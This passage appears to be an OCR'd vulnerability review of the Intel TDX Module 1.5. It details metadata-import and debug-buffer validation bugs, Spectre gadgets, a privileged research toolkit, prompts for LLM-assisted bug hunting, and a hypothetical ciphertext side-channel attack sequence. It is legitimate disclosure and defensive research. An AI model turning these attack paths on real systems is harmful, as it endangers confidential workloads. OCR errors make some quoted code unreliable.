
return retval;

The specific HKID to use is specified by the host VMM through the sysconfig options
parameter. After some validation checking the KOT entry for the HKID is set to

KOT_STATE_HKID_ RESERVED. Next the TDMR entries are processed and if an error occurs the
goto EXIT; statement is executed which releases and frees resources. The HKID entry in the

KOT is never restored to the KOT_STATE_HKID_FREE state. Multiple calls to this APl could be
used to set all entries in the KOT to KOT_STATE_HKID RESERVED and the Intel TDX Module
after completing the initialization sequence would be unable to run a TD.

This APl is only available during the Intel TDX Module initialization sequence and the issue is
isolated to being able to exhaust the KOT.

Remediation: Intel has confirmed the bug, categorized it as a functional issue, and is fixing it

in a future release.
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Bug 9: Improper HPA and GPA Checks on Metadata Import

Prerequisites: Not Applicable.

Multiple metadata fields imported during a TD migration represent Guest Physical Addresses
(GPAs) for the TD. md_vp_handle field attribute on wr is used to ensure that both HPAs
and GPAs are correct based on attributes associated with the metadata entry.

static api_error_code_e md_vp_handle_field_attribute_on_wr(md_field_id_t field_id,
const md_lookup_t* entry, md_context_ptrs_t md_ctx, md_access_t access_type,
uinté4_t* wr_value) {
if (entry->attributes.hpa && entry->attributes.shared) {
uint64_t size = md_vp_get checked_size_of_shared_hpa_range(field_id);

if (MD_IMPORT_IMMUTABLE != access_type && MD_IMPORT_MUTABLE != access_type &&
*wr_value != NULL_PA && shared_hpa_check((pa_t)*wr_value, size) != TDX_SUCCESS) {
return TDX_METADATA FIELD VALUE_NOT_VALID;
}

}
else if (entry->attributes.gpa && entry->attributes.prvate) {

if (MD_IMPORT_IMMUTABLE != access_type && MD_IMPORT_MUTABLE != access_type &&
*wr_value != NULL_PA && !check_gpa_validity((pa_t)*wr_value,
md_ctx.tdcs_ptr->executions_ctl_fields.gpaw, PRIVATE_ONLY,
md_ctx.tdcs_ptr->executions_ctl_fields.virt_maxpa)) {
return TDX_METADATA_ FIELD VALUE_NOT_VALID;
}

}
return TDX_SUCCESS;

}

This works as expected unless the access_type is MD_IMPORT _IMMUTABLE or
MD_IMPORT_MUTABLE, which is the case during import operations. In this case both
check _gpa validity and shared_hpa_check are skipped and TDX_SUCCESS is returned.

There are a few importable fields that would match .attributes = { .raw = 0x6}, whichis
gpa and prvate. Specifically, Virtual-APIC address, HLAT pointer, and PDPTEn from the
td_12 vmcs_fields_lookup.c would allow for writing a GPA without the

check_gpa validity check. Later checks in tdh_vp_enter would raise EPT violations.

There are no importable fields that would match .attributes = { .raw = ©x9} whichis
hpa and shared because the . import_masks are effectively O. This makes sense as HPAs as
different platforms would instead allocate resources and perform initialization.
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Remediation: Intel has confirmed the bug, categorized it as a functional issue, and is fixing it
in a future release.

Bug 10: Improper Validation of Host Physical Addresses in Debug API

Prerequisites: Platform is running a debug version of the Intel TDX Module, which is only
possible on Intel TDX development systems.

A type confusion bug exists in the Intel TDX Module's debug printing mechanism when
DEBUGFEATURE_TDX_DBG_TRACE is enabled and was identified independently through manual
analysis and with Gemini.

uint64_t td_debug config(uint64_t leaf, uint64_t payload, uint64_t second_payload)
{

if (leaf == 0) { // Set debug print target
print_target_e print_target = (print_target_e)payload;
debug_message_t* target_buffer = NULL;
if (print_target == TARGET_EXTERNAL_BUFFER) {
if (second_payload % MAX_PRINT_LENGTH) { // Check alignment
return TDX_OPERAND_INVALID;
}

target_buffer = (debug_message_t*)second_payload;

}

p_ctl->print_target = print_target;
p_ctl->trace_buffer = target_buffer;

A host VMM can configure the print target to TARGET_EXTERNAL_BUFFER via
td_debug_config, by specifying the HPA that will be used for the p_ctl->trace_buffer field

in the global debug_control_t structure.

uint32_t dump_print_buffer_to_vmm_memory(uint64_t hpa, uint32_t
num_of_messages_from_the_end) {

while (reader_pos != p_ctl->buffer_writer_pos) {
char* msg_buf_ptr = p_ctl->trace_buffer[reader_pos].message;
vmm_buf_pos += dump_message_to_vmm_memory(msg_buf_ptr, hpa + vmm_buf_pos,
MAX_PRINT_LENGTH);
reader_pos = get_advanced_reader_pos(reader_pos, 1);

}
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_STATIC_INLINE_ uint32_t dump_message_to_vmm_memory(char* msg_buf ptr, uinté64_t
hpa, uint32_t len) {

uint32_t vmm_buf_pos = 9;

char* vmm_buf_ptr = map_pa((void*)hpa, TDX_RANGE_RW);

for (uint32_t i = 9; msg_buf_ptr[i] != 0 & i < len; i++) {
if ((hpa + vmm_buf pos) % PAGE_SIZE IN BYTES == 0) {
free_la(vmm_buf_ptr);
vmm_buf_ptr = map_pa((void*)(hpa + vmm_buf_pos), TDX_RANGE_RW);
}

vmm_buf_ptr[i] = msg_buf_ptr[i];
vmm_buf_pos++;

}

static void print_to_buffer(debug_control t* p_ctl, char* print_buf, uint32_t
print_len) {

debug_message_t* target_debug_message =
&p_ctl->trace_buffer[p_ctl->buffer_writer_pos];

if (p_ctl->print_target == TARGET_EXTERNAL_BUFFER) {
dump_message_to_vmm_memory(print_buf, (uint64_t)target_debug_message,
print_len, true);

Subsequent calls to logging functions, such as tdx_print, invoke print_to_buffer.In
print_to buffer, the address target debug message is calculated as
&p_ctl->trace_buffer[p_ctl->buffer_writer_pos]. target_debug message is then
passed as the hpa argument to dump_message _to_vmm_memory. The

dump_message to_vmm_memory function calls map_pa to map this hpa. The map_pa function in
keyhole manager.c does not perform PAMT checks to prevent mapping of Intel TDX module
private memory, if the HPA is within a TDMR.

As the host VMM can choose trace buffer HPA and control p_ctl->buffer writer pos,
by triggering a controlled number of log messages, it could point this to sensitive TDX module
data (e.g., a TDCS page, TDR page, or other private data within a TDMR). The

dump_message to_vmm_memory function will then write up to MAX_PRINT_ LENGTH, which is 256
bytes, of log data into this area.
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Remediation: This code is only included in debug builds of the Intel TDX module and never in
production binaries. Intel has opened an internal ticket and is tracking it as a low priority issue.

Bug 11: Multiple Spectre Gadgets Enable for Out-of-Bounds Read but Are
Unextractable

Prerequisites: Not Applicable.

Several subroutines accept user inputs that can result in accessing OOB data during
speculative execution. However, since we cannot formulate a viable exploit for these gadgets,
they are not classified as vulnerabilities, though Intel will apply DiD mitigations for them.

The subroutine md_read_element is used by various APIs to read the state of a TD. This
subroutine indirectly calls md_find_entry_idx which uses the following code pattern to
check that the user input field_id.field_code is within a valid range.

if ((field_id.class_code == lookup_table[i].field_id.class_code) &&
((uint64_t)field_id.field code >= first_element_id_in_range) &&
((uint64_t)field_id.field code < last element_id in_range)) {
break;

}

Speculative execution of the above code results in accessing OOB data, which in theory is
returned to the VMM or TD (depending if md_read_element is reached via a TDH or TDG
interface).

Unlike Vulnerability 3, 4, and 5 the OOB data in this case is not processed by any succeeding
code inside the Intel TDX module, hence it is not encoded to a microarchitectural state, like
the cache, after the execution of the API. This is also not possible past the context switching
because SEAMRET, VMLAUNCH, and VMRESUME block speculative execution, making the gadgets
unexploitable.

Similarly, the following code checks if the index to the performance counter table pmc_index
is within a valid range when emulating RDMSR execution for a TD. rdmsr_ia32_perfevtsel
uses pmc_index to index a table and retrieve values to return to the TD via RDX and RAX.

static uint32_t get pmc_index_given_ia32_ perfevtsel_index(const uint32_t msr_addr)

{
uint32_t invalid_idx = (uint32_t)INVALID_PERFMON_MSR_INDEX;

// Legacy range
if ((msr_addr >= IA32_PERFEVTSELO_MSR_ADDR) && (msr_addr <
IA32_PERFEVTSELO_MSR_ADDR + NUM_PMC)) {
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return msr_addr - IA32 PERFEVTSELO MSR_ADDR;
}

}

_STATIC_INLINE_ td_msr_access_status_t rdmsr_ia32_perfevtsel(tdcs_t *tdcs_p,
tdvps_t *tdvps_p, uint32_t pmc_index, uint32_t msr_addr) {

ia32_perfevtsel_t perfevtsel_value = { .raw =
tdvps_p->guest_msr_state.ia32_pmc_gp_cfg_ax[pmc_index] };
perfevtsel value.forbidden = 0;

rdmsr_set_value_in_tdvps(tdvps_p, perfevtsel_value.raw);

return TD_MSR_ACCESS_SUCCESS;
}

Lastly, when emulating CPUID execution leaf Ox4 uses a similar pattern to ensure the
requested subleaf is within a valid range.

case Ox4:
if ((td_ctls.reduce_ve) && (subleaf < NUM_CPUID4_NATIVE)) {

return_values =
vp_ctx->tdcs->executions_ctl2_fields.cpuid4_native_values[subleaf];

Although speculative execution of the above code sequences results in accessing OOB data,
the speculation stops when VMLAUNCH or VMRESUME are executed, preventing a TD from being
able to extract the data.

Remediation: Intel plans to review each case independently to understand the risk versus
performance impact of adding LFENCE. It is expected that most if not all will be addressed as
DiD. The RDMSR and CPUID emulation speculation primitives are only present in the early
release of an updated Intel TDX 1.5 provided by Intel for this review.

Review Methodologies

In this section, we discuss some of the techniques and tools we used for evaluation.
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TDXplore Toolkit

To support analysis of the Intel TDX Module the TDX Explore Toolkit (TDXplore) was developed
to provide generic access to functionality normally reserved to ring-O host VMM software.
TDXplore is composed of three main components: a Linux kernel module, C/Python library,
and a set of Python scripts that provide access to Intel TDX Module interfaces.

The Linux kernel module was developed to expose privileged functionality to userspace. This
includes the ability to map/unmap physical memory, read/write kernel memory, and execute
privileged instructions (e.g., RDMSR, WRMSR, VMPTRLD, VMCLEAR, VMXON, VMREAD, VMWRITE,
SEAMCALL, and TDCALL). Most functionality is accessed via a set of ioctl calls with access to
physical memory being accessible through mmap and munmap. The C/Python libraries simply
wrap the Linux kernel module to provide a more user-friendly layer of abstraction.

Most of the Python scripts provide direct support for a specific interface in the Intel TDX
Module. When combined or chained together they can be used to perform larger activities
including:

e TD and VP Management: Initialize or create a TD and its VPs, add private memory
pages, and configure the TD/VPs.

e TD Migration: Create a migration stream, bind a service TD to a target TD, pause a TD,
and abort a migration.

e Metadata and State Control: Read and write metadata from the host VMM, service
TD, and guest TD context.

e Metadata Manipulation: create, decrypt, parse, modify, and encrypt migration
bundles with a provided MSK.

The table below shows the implemented scripts and provides a brief explanation.

Names Description

mig bundle_encrypt.py Used to encrypt, decrypt, and interact with migration
mig_bundle_decrypt.py bundles. The MSK is provided to the encrypt and
mig_bundle_parse.py decrypt scripts as a parameter and the MBMD data is

mig_bundle_edit.py checked on decrypt and updated on encrypt. The parse

and edit scripts work with decrypted immutable, td, and
vp migration bundles.
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gemu_break.py
gemu_resume.py
gemu_stop.py

tdg md _rd.py
tdg_md_wr.py
tdg_servtd _rd.py
tdg servtd wr.py

tdh_export_abort.py
tdh_export_ pause.py

tdh_export_state_immutable.py

tdh_export_state_td.py
tdh_export_state vp.py

tdh_import state immutable.py

tdh_import _state td.py
tdh_import_state_vp.py

tdh_md_rd.py
tdh_md_wr.py

global sys metadata.py
tdr_tdcs_metadata.py
tdvmcs_metadata.py
tdvps_metadata.py

tdh_servtd bind.py
tdh_mig stream_create.py

tdh_mng_create.py
tdh_mng_key config.py
tdh_mng_addcx.py
tdh_mng_init.py
tdh_vp_addcx.py
tdh_vp_create.py

The break script is used to watch for and suspend a
QEMU process before it executes a specific ioctl. This
is primarily used to pause execution before
KVM_TDX_FINALIZE VMis called to support binding a
migTD using tdh_servtd _bind.py. The resume and
stop scripts are simple wrappers for kill using
SIGCONT and SIGSTOP.

Used to interact with TD metadata from within a TD. The
md variant allows a TD to read and write its own
metadata. The servtd variant supports reading and
writing metadata of another TD from a service TD.

Provides the ability to export migration bundles
associated with a TD. The pause script moves a
migration from the OP_STATE_LIVE EXPORT to
OP_STATE_PAUSED_EXPORT which is required to access
TD and VP non-memory state.

Provides the ability to import migration bundles to a
previously created TD template.

Used to interact with TD metadata from the host VMM.

Metadata lookup lists are ported from
include/auto_gen_1 5 inthe Intel TDX module source
code. These are used by various other scripts parse and
display entries (e.g., tdh_md_rd.py,
mig_bundle_parse.py, and tdg_servtd_rd.py).

Used to associate a service TD with a target TD and
create migration stream contexts.

Various scripts to create and configure a TD and the
associated VPs. The tdh_mng_addcx.py and
tdh_vp_addcx.py scripts add or assign pages of
memory to be used by either the TD or its VPs.
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tdxtend.py The tdxtend. py script is a wrapper for the gateway

tdxamine.py script providing access to Intel TDX specific data
structures, interfaces, and error codes. It's also used to
inspect processes that use KVM to extract TDR, TDCS,
and TD VP Root (TDVPR) HPAs.

The tdxamine.py script is used to store and lookup TD
associated HPAs by name or PID to be used with other
scripts. It also stores shared state created by other
scripts.

The following example demonstrates how to add a TD to the tdxamine state. The
add_td_by pid sub-command uses the specified QEMU PID to lookup HPAs associating it
with the provided name when added. The print_state subcommand lists the known TDs and
details that were populated during its addition or when running other scripts. The
tdh_import_state_immutable script then loads an immutable migration bundle using a TDR
HPA which was looked up using the print_tdr _pa_from_name subcommand of tdxamine.

python tdxamine.py add_td_by pid "pgrep -f -o gemu” mig_td
python tdh_servtd _bind.py $(python tdxamine.py print_tdr_pa_ from_name dst_td)
$(python tdxamine.py print_tdr_pa_ from name mig_td)

python tdxamine.py print_state
td: name - mig_td, tdr_ka - Oxffffffffffffffff, tdr_pa - 0x60bde35000 hkid -
OxfFfffffrrffffff

tdvpr 0: pa - 0x60bbe92000

tdvpr 15: pa - ©0x60b9171000

bind 0: handle - ©xe3029dce5af581d9

bind ©: uuid - 1f1308f0811d80bb-7cllab6@de6lcabe-86f40fb10759d15a-367130596bc3cd9
td: name - dst_td, tdr_ka - 0xff2601d300103000, tdr_pa - 0x103000 hkid - ©x10

tdcs 0: pa - 0x102000 ka - Oxff2601d300102000

migsc @: ka - Oxff2601d300107000, pa - ©0x107000

python tdh_import state immutable.py $(python tdxamine.py print_tdr_pa_from_name
dst _td) immutable.mbmd immutable.data

Toolkit development used a bare metal C3 GCP instance with Ubuntu 24.10 following the Intel

Trust Domain Extensions (TDX) on Ubuntu setup instructions. With this setup KVM and QEMU


https://github.com/canonical/tdx
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are used to create, manage, and destroy TDs. This reduces complexity of the TDXplore
framework while providing access to complex TD environments.

One issue with this approach is that most Intel TDX Module API’s expect either a TDR or
TDVPR HPA and KVM doesn’t provide this in a generic way. To overcome this the toolkit adds
an ioctl to lookup the kernel struct file pointer for a provided FD and PID. The structures
holding these HPAs are struct kvmand struct kvm_vcpu and pointers for these are stored in
the private data field of their associated struct file.

Locating the correct FD for each can be done using /proc/$PID/fd. The FD with the
symbolic link to anon_inode: kvm-vm contains struct kvm and
anon_inode:kvm-vcpu:{INDEX} holds struct kvm_vcpu.

TDXplore uses specific offsets to locate the TDR and TDVPR HPAs within these structures with
support for Ubuntu 24.10 (tag: Ubuntu-intel-6.11.0-1008.8) and Ubuntu 24.04 (tag:
Ubuntu-intel-6.8.0-1022.29).

Note: the TDXplore Linux kernel module is not appropriate for production environments
because it fundamentally undermines userspace isolation from privileged operations.

This toolkit empowered the team to conduct security research with a production version of
the Intel TDX Module on hardware. Support for configuring a TD into different states,
interacting with provided interfaces, and development of proof-of-concept exploits as bugs
were identified was extremely important to understanding how the Intel TDX Module operates.

LLM Bug Hunting

The Intel TDX 1.5 code review presented a good opportunity to assess the capabilities of LLMs
(specifically Google Gemini) for identifying vulnerabilities in a complex and real world
codebase. In particular, it had:

e Limited dependencies: The Intel TDX firmware code essentially only depends on the
Intel IPPS crypto library but otherwise encompasses an entire operating system and
business logic. This reduces the number of assumptions the LLM needs to make about
libraries or syscalls outside of the context window.

e Clean API organization: Each API is divided into its own source file and furthermore
VMM/TD source files are separated. This made submitting subsections of the Intel TDX
code to the LLM trivial.

Next, we discuss how we used LLMs for this review to identify Spectre gadgets and memory
safety vulnerabilities, and the current limitations of our approach.


https://github.com/intel/cryptography-primitives

~
7

Spectre Gadgets

Our goal here was to identify code patterns for Spectre v1 gadgets inside the Intel TDX
Module, as one of the limitations of current processors is that there is no hardware remedy for
mitigating this class of attacks. As a result, critical software systems such as the Linux kernel
and Intel TDX Module firmware relies on an ad-hoc approach to only apply fixes (e.g., using a
serialization instruction like LFENCE) to code gadgets that are identified as exploitable. Once
an attacker finds an exploitable gadget inside the Intel TDX Module firmware, it can potentially
leak the entirety of private memory for the module and guests, while mapped into the
module’s linear address space.

We used two different Gemini models in a two-step approach to identify potential Spectre
code gadgets. For this, we first describe the conditions for a valid Spectre gadget alongside
the source code and specification as context to Gemini in thinking mode (slow but more
capable) to identify potential gadgets, then, we use a faster but less capable mode like
Gemini flash to summarize the findings and highlight key aspect of the findings, as follow:

First Query

You are an expert vulnerability researcher who knows Spectre vulnerabilities and their
exploitations very well. Review the API function {api} its subroutines and identify
potential Spectre v1 gadgets that allow accessing out-of-bounds data.

Such Spectre v1 gadgets have three components: a) User input: An input that is
controlled by user, b) Branch condition that checks the user input c) secret-dependent
memory access or branch depending on the out-of-bounds access.

Check if it has already been mitigated with an LENCE.

Summarize the findings and each identified vulnerability as follow:
- User Input:
- Branch Condition:
- Secret-Dependent Memory Access:
- Step-by-step analysis of the vulnerability:
- How Much information can be leaked:
- If it has already been mitigated:
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Second Query

Generate a summary of each discovered vulnerability with the following markdown
format:

## APl Name: Vulnerability Name

### User Input:

### Branch Condition:

### Secret-Dependent Memory Access:

### Step-by-step analysis of the vulnerability:

### How Much information can be leaked:

##4# If it has already been mitigated:

We used the above queries for each API of interest including the host interface (tdh_*), the
guest interface (tdg_*), and the guest exit handlers (td_*_exit), for a total of 97 APIs. In this
setup, each API took about 3 minutes to analyze, a total of 5 hours to execute the combined
queries.

As mentioned above, the clean API organization of each API having its own source file made it
easier for us to use Gemini for this goal. However due the context window’s limit (1 million
tokens), we could not provide the entire source code and the ABI specification for Intel TDX
module firmware as context. Instead, we used some custom scripts to slice each APl and its
dependencies, broke the ABI specification for each API to a separate PDF file, and only
provided relevant information for each API to it.

Our initial strawman approach resulted in about 200 reports. After going through these
reports, we identified the following false positives:

e Duplicates: Almost half of the reports were duplicates, and easy to filter out (i.e..,
identifying the same code pattern as vulnerable in the dependency of every API).

e Loop bounds: Tens of cases of loop bounds being identified as potential Spectre
gadgets. While these cases may theoretically be Spectre gadgets, they are hard to
exploit in practice.

e Public memory: Several gadgets would result in OOB access to memory that is
already accessible to the host VMM or guest TD, which shows Gemini did not
understand the memory mappings and threat model well.

e Union bounds: Several gadgets were related to bounds that are implicitly enforced via
C unions, hence the software bounds check even if bypassed speculatively does not
result in OOB access.

After filtering out the above cases, we identified 16 code gadgets that can potentially leak
private memory. This process took about 3 days, however, some of it can further be
automated by querying the LLM to filter / group findings together. Among these 16 unique
code gadgets, we identified:
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e 9 Already fixed: Mitigated with an LFENCE highlighting that they were indeed valid, but
already mitigated.

e 5 New gadgets: Acknowledged to impact security by Intel, and three CVE were
assigned based on the root case.

e 2 DiD: Only exploitable on a hardware architecture that would not serialize SEAMRET,
VMLAUNCH, VMRESUME highlighting an additional lack of context surrounding hardware
architecture limiting Gemini’s analysis.

Memory Corruption

We also spent time using Gemini to search for memory corruption and logic bugs in the C
source code. For these problems, the LLM must correctly identify pathways for user input to
reach unsafe operations while also meeting all necessary conditions that the code previously
checked against. The LLM may also need to correctly reason about multi-threading race
conditions and lock semantics depending on the bug.

Fundamentally, we started by asking Gemini to find memory corruption bugs and iterated on
the prompts as we found deficiencies in the results. While there is some nuance to identifying
the best prompting and LLM settings, the fundamental bottleneck in the process is triaging
the bug reports and verifying correctness. We found that once the settings are reasonably
tweaked, Gemini will generate bug reports that appear to be accurate and often if
inaccuracies are found that they are similar to mistakes human reviewers would also make -
this makes triaging time-consuming. We should also note that Gemini sometimes still makes
basic mistakes like skipping over lines that do bounds checks right before an array access.

While the TDXplore toolkit that we developed could facilitate automated PoC generation, we
did not investigate this during the review since the LLM work preceded most of the test
framework development. Even then, setting up the Intel TDX state machine correctly and
generating the precise inputs to trigger a vulnerability are relatively complex compared to
other targets (e.g., a usermode binary or remote server) and we expect current LLMs to
struggle here without extensive assistance.

Instead of depending on the LLM to generate PoCs for its own bug reports, we instead asked
the LLM to do an initial triage pass which filters down the reports before a human does the
final analysis. One intuition we had is that for a given LLM conversation, the LLM seems
resistant to changing its mind about things; e.g., that a bug exists or a bounds-check that
does exist was skipped over. By asking the same LLM to validate the previous LLM-generated
response, this gives each request a higher likelihood of discovering mistakes compared to just
asking the initial LLM session to self-check.

We essentially split the bug hunting task into this pipeline:

e Identify all APIs of interest (or we can manually generate/save this list).
e For each API of interest, ask the LLM to search for bugs N times.



Q@

o Deduplicate results if N > 1.
e For each bug report, ask the LLM to validate the report M times.
o Summarize the consensus arguments for true vs false positive.

Limitations

Despite the presence of some inaccurate reports, Gemini helped narrow down analysis in
several cases, and was particularly effective in identifying Spectre code gadgets. We
identified the following limitations to help inform future use of LLMs for code review:

e Unusual threat model: In Intel TDX, almost all code is considered untrusted which
leads to unusual circumstances such as APIs that can corrupt or leak VMM memory
being non-interesting if initiated by the host. Additional prompting was used to help
reduce false positives due to this confusion.

e High level of out-of-context assumptions: The Intel TDX Module code heavily
depends on hardware functionality and makes many implicit assumptions based on
this. While this hardware behavior is mostly defined in public specifications and likely
incorporated in Gemini’s training data, it's believed that not including it in the context
window makes mistakes more likely.

e Large code base: All of the Intel TDX Module code encompasses around 2MiB which
roughly translates to just over 1M tokens. Currently, Gemini 2.5Pro has a maximum
input context length of 1M tokens so we’ve had to submit partial code to the LLM.
Additionally, if one also wants to send specs with the code, further code reductions
are required.

e Ambiguous semantics: There were several areas where the LLM consistently got
confused due to unusual APIs or unclear intentions of the code authors. For example,
the Intel TDX Module does not use a heap per-se but does have dynamically mapped
memory using a “keyhole” system - the LLM would sometimes incorrectly identify
use-after-free vulnerabilities that incorrectly assumed normal heap properties.
Additionally, the Intel TDX Module has fairly complex multi-layer locks whose semantics
are only partially defined in the code and specification.

e Manual post-mortem analysis: Currently, the Intel TDX Module toolchain is too
complex with limited debugging capabilities, which makes it difficult to develop an
end-to-end toolchain to let LLMs automatically evaluate findings and receive feedback
(e.g., by triaging the bugs or trying to develop proof-of-concept exploits in a live
system). As a result, manual expert analysis is needed to verify each finding.

Frama-C

We used an off-the-shelf Frama-C Weakest Precondition (WP) plugin to do some basic code
analysis. We compiled the Intel TDX Module 1.5 and generated the necessary symbol files so
we can use Frama-C to identify potential memory safety violations. The compilation by itself
identified several places where variables are assigned but never used, which is a weak code
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pattern. We also identified inconsistency across different APIs to initialize pointers, which one
of them was also reflected in the Vulnerability 4, which allowed for arbitrary values to be
speculatively injected into the stack. The WP plugin flagged several memory safety cases, but
manual review showed that those are all false positives, due to Frama-C failing to understand
the union data structures and their bounds correctly.

Code Difference

We did a limited differential analysis between the Intel TDX 1.0 and 1.5 source code to
understand what changes were made and if there were any bug fixes which might have
variants. One such difference that caught our attention was the change to basic_memset
shown below.

void basic_memset(uint64_t dst, uint64_t dst_bytes, uint8_t val, uint64_t nbytes) {
tdx_sanity check (dst_bytes >= nbytes, FATAL_ERROR_ID 176, 2);

volatile uint64_t junk;

_ASM_VOLATILE_ ("cld\n"
"rep; stosb;"
+ :"=D"(junk) // marking that RDI is changing
:"c"(nbytes), "a"(val), "D"(dst)
:"memory", "cc");

A quick refresher on C inline assembly syntax and x86 instructions is probably helpful. The
REP; STOSB statement is really the STOSB (store string byte) instruction with the REP prefix -
this indicates that the operation should execute RCX times. STOSB copies data from the source
pointer in RSI to the destination pointer in RDI. The CLD instruction clears the direction flag
which causes the copy to auto-increment instead of auto-decrement.

The three lines following the x86 assembly are the output operand, input operands, and
clobber list. The input/output operands indicate which registers are used as inputs and
outputs. The clobber list indicates all other state that is somehow changed by the assembly
code. In this case, the difference shows that RDI was added to the output operand list - this
is accurate since STOSB updates RDI as the pointer increments or decrements. Without this
hint, the compiler is free to optimize usage of RDI and could potentially assume it was
unchanged and not reload the original value of dst into RDI.

Looking at this difference, we realized that this is an interesting bug pattern that we might
have otherwise overlooked, which resulted in the discovery of Bug 5. There are a handful of
assembly helper functions in the Intel TDX Module and they all depend on accurate operand
and clobber listings to ensure correctness. Going back to basic_memset, you may have
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noticed that another register is also changed by the assembly but not listed in the output:
RCX. According to the REP prefix, RCX is decremented until reaching zero so therefore this
register should be in the clobber list.

We used a combination of manual analysis and Gemini 2.5 Pro to analyze the remaining
assembly helper functions for similar issues. The LLM approach was helpful since there are
many implementations to check and the x86 instruction operations can be complex - this
gave us a quick estimate of overall problem space.

Similar issues were discovered in these helpers:

e ia32 rdrand,ia32_rdseed: RDRAND modifies CF and PUSHFQ/POPQ interact with flags.
cc should be clobbered.
_lock_read_128b: CMPXCHG16B modifies flags (ZF). cc clobber is missing.
_lock_or_16b (and related): ORW, ANDB, and XORW all modify flags (OF, SF, ZF, PF; CF
cleared). cc clobber is missing for all these.

e clear_xmms: XMM registers XMM@ through XxMM15 are modified and should be listed in
the clobber list.

e load xmms_from_buffer: XMM registers XMMo through XMM15 are modified and should
be listed in the clobber list.

e clear_ymms: YMM registers YMMO through YMM15 are modified and should be listed in
the clobber list.

e load ymms_from_buffer: YMM registers YMM@ through YMM15 are modified and should
be listed in the clobber list.

e calculate local data: RDGSBASE does not modify RFLAGS. cc clobber is
unnecessary.

e calculate sysinfo_table: RDFSBASE does not modify RFLAGS. cc clobber is
unnecessary.

Notebook LM for Cross Referencing

To aid in the review, NotebooklL M was used as a centralized and searchable resource. All
relevant Intel manuals, whitepapers, and source code were loaded, which was useful for
researching key architectural aspects. The ability to quickly cross-reference source material
and specifications helped validate output and locate relevant sections for further reading and
reviewing. Notebook LM was not used to query for bugs in the codebase.

Negative Results

In this section, we note some of the cases where we failed to identify a vulnerability despite a
valid attack vector, showing that sufficient mitigations were in place:
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Impact of Live Migration on CPUID and MSR Instruction Behavior

Intel TDX Architecture impacts behavior of some instructions, virtualization of MSR registers
and the virtualization of CPU features and how they are being exposed to the guest through
CPUID instruction. The details are well documented in the Intel TDX Module Specification and
the security implications of those behaviors are out of scope of this investigation but our
investigation focused on whether the live migration of a CVM to a different host impacts the
behavior of these instructions, CPUID values, or MSR virtualization.

Furthermore, the introduction of Virtualization Exception (#VE) Reduction allows a guest to
change how the Intel TDX Module handles CPUID and MSRs, creating a complex state
machine that must maintain consistent security guarantees across migrations.

In summary, The Intel TDX Module is designed to provide the following security and
confidentiality guarantees after a CVM migration:

e CPUID Virtualization: The module ensures that CPUID leaves/subleaves configured
during TD initialization remain consistent for the lifetime of the TD. Other fields are
either fixed or reflect the native hardware capabilities, based on their security
implications.

e MSR Virtualization: The module allows the VMM to configure some MSR values
exposed to the guest and verifies the compatibility of these values during migration.

e REDUCE_VE: This feature allows the guest to relax certain restrictions, enabling a #VE
handler to manage the virtualization of some CPUID leaves and MSRs.

We focused on CPUID fields that are calculated by the module or exposed natively from the
host CPU, checking if hardware differences on a target host would alter their values
post-migration.

Most of these fields relate to CPU capabilities that primarily affect workload performance. We
found no indication that changes in these values would impact the security or
confidentiality of the CVM. However, a small set of fields that can alter execution behavior
requires more careful review below.
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Leaf (Register) Description

0x1 (EBX) Field Name: Initial APIC ID
Virtualization Type: Calculated
Virtualization Details: TDVPS.VCPU_INDEX][7:0]
Comments: Initialized at TD Init time hence controlled by Intel TDX
Module.

0x1 (ECX) Field Name: OSXSAVE
Virtualization Type: Calculated
Virtualization Details: CR4.0SXSAVE
Comments: Calculated through XFAM hence controlled by Intel TDX
Module.

0xD (EBX) Field Name: Max Bytes for Enabled Features

Sub-leaf 0x0 and 0x1  Virtualization Type: Calculated
Virtualization Details: Native
Comments: Calculated through XFAM hence controlled by Intel TDX
Module.

0x80000000 (EAX) Field Name: Maxindex
Virtualization Type: Native
Virtualization Details: N/A
Comments: Highest calling parameter for CPUID. Would only impact
CPUID enumeration code with no security risk.

0x80000001 (EDX) Field Name: SYSCALL/SYSRET in 64-bit Mode
Virtualization Type: Native
Virtualization Details: N/A
Comments: All CPU families supporting Intel TDX would support
syscall hence this would be always 1.

0x80000008 (EAX) Field Name: Number of Linear Address Bits
Virtualization Type: Native
Virtualization Details: N/A
Comments: Configured by the host VMM’s GPAW setting, virtualized
by Intel TDX Module.

We also reviewed the impact of REDUCE_VE on virtualization during live migration.

e With REDUCE_VE, some CPUID values that were previously managed by Intel TDX
Module can now be emulated by the VMM. While this introduces a theoretical security
risk, we found no specific case where live migration created a vulnerability.
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e For MSRs, REDUCE_VE can change the result of an operation from a #VE to a General
Protection (#GP). However, we found no cases where this behavior would be
different after live migration.

Ciphertext Side Channels Via Live Migration APIs

Another attack vector we considered was software-based ciphertext side channels that can
bypass constant-time coding or potentially leak low-entropy values of registers. The
tdh_export_* APIs could be vulnerable to such attacks if an attacker could export the same
memory content, with the same key, and IV more than once.

Imagine the following common code pattern to mitigate recovery of a cryptographic key with a
side channel. The code prevents secret dependent leakage due to secret[i] with help of an

AND gate masking.

for(int 1 = 0; 1 < secret_len; i++) {
int val_if secret_true = (some_value + secret[i]) * 2;
int mask = -(int)(secret[i] != 0);
*target_page = (val_if_secret_true & mask);

If a ciphertext side-channel attack learns the secret by capturing two ciphertext for
target_page before and after the memory store and if they differ, it learns the value of the

secret[i].

However, this attack is mitigated in these APIs because of the incrementing Initialization
Vector (V) counter. As an example, line 76 in tdh_export_mem.c shows iv_counter++ with a

comment stating its to prevent reuse.

// Increment the IV counter so we don't reuse a previous IV even if aborted
migsc_p->iv_counter++;

As a result, two calculated ciphertext for a target memory page are expected to always have

different values.

We also considered the fact that there is no bounds checking for this counter, which means at
some point it could reset to a prior value. Imagine the following attack scenario:

1. Attacker blocks access to target page


https://ieeexplore.ieee.org/document/9833768
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Attacker exports a ciphertext 1 for target page
Attacker lets the loop execute for one iteration (can be done by repeatedly
block/unblock access to target page)
Attacker executes tdh_export * many times to increment the counter for 2%
5. Attacker exports a second ciphertext 2 for target page with the same IV and Key
6. If ciphertext 1 and ciphertext 2 differ, the attacker learns the secret[i] was set

However, there is a big challenge to conduct this attack, which is the computational
complexity of incrementing the counter 2% times. In tdh_export_mem, an attacker can
increment this counter 512 times by every execution of this API (using GPA_ENTRY_OP_NOP).

Further, the Intel TDX module only allows a single thread to execute the migration stream,
which limits an attacker’s ability to scale the hypothesized attack.

// Lock the MIGSC link

if (!'(migsc_lock(&tdcs_p->f migsc_links[migs_i]))) {
TDX_ERROR("Failed to lock tdcs_p->f _migsc_links[%u]\n", migs_i);
